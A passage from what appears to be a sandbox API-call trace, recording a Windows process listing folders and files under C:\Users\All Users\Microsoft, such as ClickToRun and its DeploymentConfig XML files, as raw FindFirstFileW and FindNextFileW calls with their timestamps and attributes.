ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1 [0209.199] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xcdfeea, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1 [0209.199] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd17b1a49, ftLastAccessTime.dwHighDateTime=0x1d70067, ftLastWriteTime.dwLowDateTime=0xd17b1a49, ftLastWriteTime.dwHighDateTime=0x1d70067, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnosis", cAlternateFileName="DIAGNO~1")) returned 1 [0209.199] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0209.199] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0209.200] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MapData", cAlternateFileName="")) returned 1 [0209.200] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x35da50f, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x35da50f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0209.200] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0209.200] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd06144, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0209.200] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xbf84b63e, ftLastAccessTime.dwHighDateTime=0x1d99cf3, ftLastWriteTime.dwLowDateTime=0xbf84b63e, ftLastWriteTime.dwHighDateTime=0x1d99cf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0209.201] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4b6f3a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbe4b6f3a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Provisioning", cAlternateFileName="PROVIS~1")) returned 1 [0209.201] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3840877a, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3840877a, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3840877a, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0209.201] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbca7cf5a, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xbca7cf5a, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsRouter", cAlternateFileName="SMSROU~1")) returned 1 [0209.201] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3d47fe2c, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x3d47fe2c, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0209.201] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x448c3dac, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x448c3dac, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0209.202] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd2c3a2, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd2c3a2, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDF", cAlternateFileName="")) returned 1 [0209.202] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x77d1fe08, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x77d1fe08, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0209.202] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x35c3f417, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x6520aed4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0209.202] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x3731a3a, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x3731a3a, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1 [0209.202] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~3")) returned 1 [0209.203] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMSIPC", cAlternateFileName="")) returned 1 [0209.203] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd78854, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0209.203] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ebc8954, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4ebc8954, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4ebc8954, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XboxLive", cAlternateFileName="")) returned 1 [0209.203] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1f2dca30 | out: lpFindFileData=0x1f2dca30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.203] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0209.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcc90) returned 1 [0209.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dcc50) returned 1 [0209.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dc5a0) returned 1 [0209.204] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun", nBufferLength=0x105, lpBuffer=0x1f2dc080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun", lpFilePart=0x0) returned 0x27 [0209.204] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\*"), lpFindFileData=0x1f2dc2b0 | out: lpFindFileData=0x1f2dc2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xd5e44e88, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5e44e88, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.207] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xd5e44e88, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5e44e88, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.207] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4BAD322A-C043-4DED-A97A-6FE0C4412FBE", cAlternateFileName="4BAD32~1")) returned 1 [0209.207] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd58489b0, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd584c46a, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd584c46a, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9566930B-D1DD-4075-BFE6-74DD69B13189", cAlternateFileName="956693~1")) returned 1 [0209.207] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d04153d, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d04153d, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d04153d, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1 [0209.207] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e44e88, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5e44e88, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5e47593, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.1.xml", cAlternateFileName="DEPLOY~3.XML")) returned 1 [0209.208] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c5095b, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x85c5095b, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x85c5095b, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.2.xml", cAlternateFileName="DEPLOY~2.XML")) returned 1 [0209.208] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineData", cAlternateFileName="MACHIN~1")) returned 1 [0209.208] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1c4bfed4, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1c4bfed4, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1 [0209.208] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xe25ce006, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xe25ce006, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0209.209] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xe25ce006, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xe25ce006, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0209.209] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc4d0) returned 1 [0209.210] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dc490) returned 1 [0209.210] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dc5a0) returned 1 [0209.210] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun", nBufferLength=0x105, lpBuffer=0x1f2dc080, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun", lpFilePart=0x0) returned 0x27 [0209.210] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\*" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\*"), lpFindFileData=0x1f2dc2b0 | out: lpFindFileData=0x1f2dc2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xd5e44e88, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5e44e88, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0209.211] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0xd5e44e88, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5e44e88, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.212] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b54cf26, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1b641eb6, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1b641eb6, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4BAD322A-C043-4DED-A97A-6FE0C4412FBE", cAlternateFileName="4BAD32~1")) returned 1 [0209.212] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd58489b0, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd584c46a, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd584c46a, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9566930B-D1DD-4075-BFE6-74DD69B13189", cAlternateFileName="956693~1")) returned 1 [0209.212] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d04153d, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d04153d, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1d04153d, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1 [0209.212] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e44e88, ftCreationTime.dwHighDateTime=0x1d8a64a, ftLastAccessTime.dwLowDateTime=0xd5e44e88, ftLastAccessTime.dwHighDateTime=0x1d8a64a, ftLastWriteTime.dwLowDateTime=0xd5e47593, ftLastWriteTime.dwHighDateTime=0x1d8a64a, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.1.xml", cAlternateFileName="DEPLOY~3.XML")) returned 1 [0209.213] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c5095b, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x85c5095b, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x85c5095b, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.2.xml", cAlternateFileName="DEPLOY~2.XML")) returned 1 [0209.213] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1d7a4d6f, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1da7a7ac, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineData", cAlternateFileName="MACHIN~1")) returned 1 [0209.213] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4bfed4, ftCreationTime.dwHighDateTime=0x1d705ed, ftLastAccessTime.dwLowDateTime=0x1c4bfed4, ftLastAccessTime.dwHighDateTime=0x1d705ed, ftLastWriteTime.dwLowDateTime=0x1c4bfed4, ftLastWriteTime.dwHighDateTime=0x1d705ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1 [0209.213] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1f2dc270 | out: lpFindFileData=0x1f2dc270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x828cdbb9, ftCreationTime.dwHighDateTime=0x1d705ed, 